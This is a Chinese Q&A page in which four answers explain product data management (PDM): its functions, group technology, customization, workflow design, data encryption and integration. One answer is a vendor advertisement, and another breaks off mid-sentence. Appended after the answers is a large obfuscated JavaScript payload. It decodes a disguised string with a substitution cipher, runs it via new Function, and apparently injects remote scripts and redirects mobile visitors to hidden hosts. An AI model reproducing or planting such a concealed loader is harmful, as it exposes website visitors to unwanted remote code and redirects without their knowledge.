介绍一下什么是PDM技术?PDM软件是什么?

2025-03-30 01:49:18
推荐回答(4个)
回答1:

  PDM的中文名称为产品数据管理(Product Data Management)。PDM是一门用来管理所有与产品相关信息(包括零件信息、配置、文档、CAD文件、结构、权限信息等)和所有与产品相关过程(包括过程定义和管理)的技术。通过实施PDM,可以提高生产效率,有利于对产品的全生命周期进行管理,加强对于文档,图纸,数据的高效利用,使工作流程规范化。
  PDM 制造过程数据文档管理系统 ,能够有效组织企业生产工艺过程卡片、零件蓝图、三维数模、刀具清单、质量文件和数控程序等生产作业文档,实现车间无纸化生产。
  一、PDM技术简介
  PDM是Product Data Management的缩写,是指某一类软件的总称。CIMdata曾这样定义:“PDM是一种帮助工程师和其他人员管理产品数据和产品研发过程的工具。PDM系统确保跟踪设计、制造所需的大量数据和信息,并由此支持和维护产品”。
  整个PDM系统和相应的关系型数据库都建立在计算机的操作系统和网络系统的平台上。同时,还有各式各样的应用软件,如CAD、CAPP、CAM、CAE、CAT、文字处理、表格生成、图象显示和音像转换等等。在计算机硬件平台上,构成了一个大型的信息管理系统,PDM将有效地对各类信息进行合理地、正确地和安全地管理。
  由上述可知,PDM系统的重要功能有:产品结构管理、电子图档管理、工作流程管理、项目管理、安全管理、权限管理、产品配置管理、版本管理、与CAD/CAM系统的接口、与MRPII/ERP系统的接口等。
  二、PDM关键技术 1、成组技术
  成组技术(GT:Group Technology)是在零件设计和制造中充分利用相似性原理的方法。PDM系统中,GT技术主要体现在信息的编码管理和产品族管理。信息分类编码是企业信息化的基础,是企业实现计算机集成的基本条件之一。PDM中的编码方案应根据企业的需求,与企业的产品紧密结合在一起,充分考虑企业产品的更新换代和生产过程中信息的表示,使编码简洁、实用,起到组织和协调企业内部生产的作用。因此,编码的优劣成为企业能否接受PDM系统的关键性指标。
  产品族管理是支持目前企业中“小批量、多品种”生产方式的有效工具。PDM系统中,将具有同类性能特征的产品、相似结构的部件和零件进行统一管理,提供符合国标的基本零件族定义和一套定制属性及继承关系的方法,能有效提高企业零部件的重用水平,使设计人员可以根据用户的需求迅速生成产品结构树、物料清单(BOM:Bill of Materials),从而对用户的需求作出快速反应。
  2、客户化技术
  PDM是一种使能技术,需要根据企业的不同情况进行实施。客户化工作包括为企业定制设计工作流程、项目管理方式、编码规则、版本控制方法、各种信息的利用方式以及企业提出的各种需求。客户化的目的是缩短PDM的实施周期,增加PDM系统的柔性,在客户化过程中最终实现“零编程”。目前比较好的解决方案有模板技术和组件技术。
  模板技术是将各功能模块中的条件参数化。在PDM系统中建立适合于各种功能的模板库,客户化过程中,根据不同的需求调用不同的模板,即可在短时间内建立系统所需求的功能模块。模板技术适用于相对独立的功能模块,如果用户提出超出模板功能的要求时,系统需要另配开发工具,利用定制函数或描述语言进行简单的编程来实现。
  组件技术是在系统中构造一些基本功能模块和过程模块(称为组件Component),这些模
  块具有开放的接口和良好的可组合性,并可实现“即插即用”。当系统需要实现某种功能时,可以将这些基本模块进行组合,定义相应的属性即可。组件技术使得PDM的客户化工作变得十分简单,只需要搞清企业的具体需求,学会组件的重构方法即可构造出企业所要求的PDM系统。组件技术是软件设计的方向,尤其适用于Case-by-Case工程,企业可根据管理模式的变化自主调整系统的功能,减少对开发商的依赖。
  3、流程的设计方法
  PDM中的流程设计是确定产品设计中各个环节和路径的过程,具体包括设计人员工作职责的制订、审批人员权限的划分等。现行企业中各部门的工作流程具有相似性,实施方案需要根据企业的现行管理模式确定,这就给流程设计方法提出了能不断适应企业经营管理模式变化而重新组合的功能要求。
  PDM中的流程设计方法有两种:一种是预置式流程设计,该方法将企业中的流程模式预制在一个模块中,制定流程时只需要对流程进行选择即可达到设计的要求;另一种是采用可视化设计方法,用图框表示节点,有向线段表示信息的流向,用属性来定义节点和流程的相互关系,如将节点定义为设计人员、校对人员、审批人员等,将流程定义为提交、返回修改等。可视化设计流程的方法比较直观,易于表达,具有较大的灵活性,企业也容易接受。
  4、数据存储与管理
  PDM系统中的数据管理包括数据的存取方式、数据的安全性和数据的管理模式等。目前的PDM系统中大多数采用Oracle、SyBase、SQL Server等流行的商用数据库,数据是以记录形式存放在数据库中,这种存放方式可以保证数据在物理上和逻辑上的独立性,有效地控制对数据的使用,允许不同需求的用户共享数据。但目前计算机应用系统都是基于文件的自动化孤岛,如CAD/CAPP/CAM等系统,在产品开发过程中生成的大部分数据属于工程数据,其形式多样,结构复杂,很难用一般的商用数据库来进行管理。目前采用了变通的方法,即允许数据存放在各自的文件中,数据库中只存放文件的元数据或路径数据,如文件的存放路径、文件名等相关的属性。
  数据的加密措施有3种。一种是所谓伪加密,即将数据库中的元数据进行加密处理,原数据文件隐式无序存放,一般情况下很难在浩瀚的文件中理出成套技术文档。第二种方法是采用部分加密方案,将数据文件中的属性描述字节取出或加密处理,破坏了原文件的存贮结构,即使将其文件拷出也无法打开。这种方法数据的处理量小,基本上不影响系统的运行效率。第三种方法是设计一种算法,将文件整体加密处理,只要算法不被破译,文件就无法重现,但工程图形的数据量大,会影响系统的运行速度。
  现行PDM系统的数据管理形式是基于关系型数据库的。数据之间关系通常是静态的、明确的、简单的,而产品设计过程中的数据往往是动态的、不明确的,结构也是复杂的,而且具有较高的相关性。人们希望对数据库的操作能实现“零输入”,即仅使用鼠标就可实现PDM系统中编码管理、流程管理、产品配置管理等功能。实现的方法是建立与产品数据库相对应的动态操作数据库,将系统所要实现的操作均存放在该操作库中,该库可动态的进行更新,它记录了需要实现的和已经实现的各类操作,供使用人员在操作时参考和选择。
  5、系统集成
  PDM系统的集成主要包括运行环境集成、信息集成、功能集成、技术集成以及人员和组织的集成。系统集成的核心是信息集成,关键是人和组织的集成,而运行环境的集成和技术的集成则决定了PDM系统的技术水平、运行效率以及生命周期,功能的集成将直接影响管理和生产的质量和效益。
  PDM系统面对的是CAD/CAPP/CAM、MRPⅡ等系统所产生的数据的管理,由于各应用系统中各种对象描述采用的标准

回答2:

PDM的中文名称为产品数据管理(Product Data Management)。PDM是一门用来管理所有与产品相关信息(包括零件信息、配置、文档、CAD文件、结构、权限信息等)和所有与产品相关过程(包括过程定义和管理)的技术。
PDM以软件为基础,是一门管理所有与产品相关的信息(包括电子文档、数字化文件、数据库记录等)和所有与产品相关的过程(包括工作流程和更改流程)的技术。它提供产品全生命周期的信息管理,并可在企业范围内为产品设计和制造建立一个并行化的协作环境。 PDM的基本原理是,在逻辑上将各个CAX信息化孤岛集成起来,利用计算机系统控制整个产品的开发设计过程,通过逐步建立虚拟的产品模型,最终形成完整的产品描述、生产过程描述以及生产过程控制数据。技术信息系统和管理信息系统的有机集成,构成了支持整个产品形成过程的信息系统,同时也建立了CIMS的技术基础。通过建立虚拟的产品模型,PDM系统可以有效、实时、完整的控制从产品规划到产品报废处理的整个产品生命周期中的各种复杂的数字化信息。

回答3:

PDM技术大多应用在工业制造型企业中,简单来说就是一门管理所有与产品有关的数据(包括CAD文件、零件信息、文档、配置、结构、权限信息等)和产品研发流程的技术,从产品设计阶段到产品研发结束,对产品数据进行跟踪、控制、协作和共享,以此来提高生产效率。
PDM软件是在PDM技术的基础上研发的应用程序,它可以把企业所有的产品数据集中储存在一个数据库里进行管理和维护,同时还具有产品定义和配置、项目管理、协同设计、权限管理、审批流程、设计检索和零件库管理等功能,来促进团队协作,提高产品质量,降低成本,加快产品上市时间。

回答4:

制造业开源利器法宝,神州数码PDM

1. 通过神州数码PDM系统,建立了完善的分类体系,保证了产品、零部件信息的完整性、有效性、规范性,通过重复利用产品零部件信息达到提高工作效率的目的。

2. 利用PDM系统建立图文档电子仓库,对电子的设计图纸、工艺文件和技术文档集中管理,形成企业级的技术知识库,让各部门人员能根据各种条件快速地查找和检索到所需的信息,并保证数据在权限控制范围内随时访问,实现数据共享,避免非法调用、修改和泄密。

3. 利用PDM管理产品数据并进行电子分发,通过网络系统自动发布信息,实现数据及信息的快速传送,同时只生成和管理少量生产必需的纸质文件。

4. 通过PDM管理产品结构数据并自动生成所需的BOM清单,并为ERP等管理系统准备好前端的基础数据。

5. 建立零件族系统,既提供了规范化的产品、零部件技术参数分类体系,又提供了根据技术参数信息快速定位物料及图纸等产品数据的查询手段。针对于小原公司产品种类繁多,零部件数量庞大且技术参数复杂的特点,大大提高了小原设计人员在“数据海洋”中检索关键信息的效率。

6. 实现ERP与PDM两个系统的集成(互操作级集成),由PDM系统将零部件、BOM及工艺路线等数据传递给ERP,从而减少人工的重复录入及转换工作。

7. 通过PDM建立产品成本计算的规范,由PDM系统自动根据产品的零部件及BOM信息,结合从ERP系统中获得最新的价格信息来进行产品成本的计算和汇总统计。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();